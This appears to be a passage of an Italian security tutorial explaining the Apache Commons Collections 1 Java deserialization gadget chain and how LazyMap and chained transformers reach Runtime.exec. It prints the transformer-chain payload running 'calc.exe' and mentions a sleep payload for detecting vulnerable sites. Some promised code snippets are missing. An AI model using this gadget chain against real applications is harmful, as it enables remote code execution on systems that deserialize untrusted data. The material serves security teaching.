Se non sai nulla sui payload di deserializzazione Java, potrebbe essere difficile capire perché questo codice eseguirà un calcolatore.
Prima di tutto, devi sapere che un Transformer in Java è qualcosa che riceve una classe e la trasforma in un'altra.
È anche interessante sapere che il payload che viene eseguito qui è equivalente a:
Quindi, come è il primo payload presentato equivalente a quelle "semplici" righe di codice?
Prima di tutto, puoi notare nel payload che viene creata una catena (array) di trasformazioni:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Se leggi il codice, noterai che se in qualche modo concatenassi la trasformazione dell'array, saresti in grado di eseguire comandi arbitrari.
Quindi, come vengono concatenate quelle trasformazioni?
Nell'ultima sezione del payload puoi vedere che viene creato un oggetto Map. Poi, la funzione decorate viene eseguita da LazyMap con l'oggetto mappa e i trasformatori concatenati. Dal seguente codice puoi vedere che questo causerà la copia dei trasformatori concatenati all'interno dell'attributo lazyMap.factory:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
E poi viene eseguito il grande finale: lazyMap.get("anything");
Questo è il codice della funzione get:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
E questo è il codice della funzione transform
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Quindi, ricorda che all'interno di factory avevamo salvato chainedTransformer e all'interno della funzione transform stavamo attraversando tutti quei transformer concatenati ed eseguendoli uno dopo l'altro. La cosa divertente è che ogni transformer utilizza objectcome input e l'oggetto è l'output dell'ultimo transformer eseguito. Pertanto, tutti i trasformatori vengono eseguiti in concatenazione eseguendo il payload malevolo.
Riepilogo
Alla fine, a causa di come lazyMap gestisce i transformer concatenati all'interno del metodo get, è come se stessimo eseguendo il seguente codice:
Nota che qui sono stati spiegati i gadget utilizzati per il payload ComonsCollections1. Ma è rimasto come tutto questo inizia a essere eseguito. Puoi vedere qui che ysoserial, per eseguire questo payload, utilizza un oggetto AnnotationInvocationHandler perché quando questo oggetto viene deserializzato, invokerà la funzione payload.get() che eseguirà l'intero payload.
Java Thread Sleep
Questo payload potrebbe essere utile per identificare se il web è vulnerabile poiché eseguirà un sleep se lo è.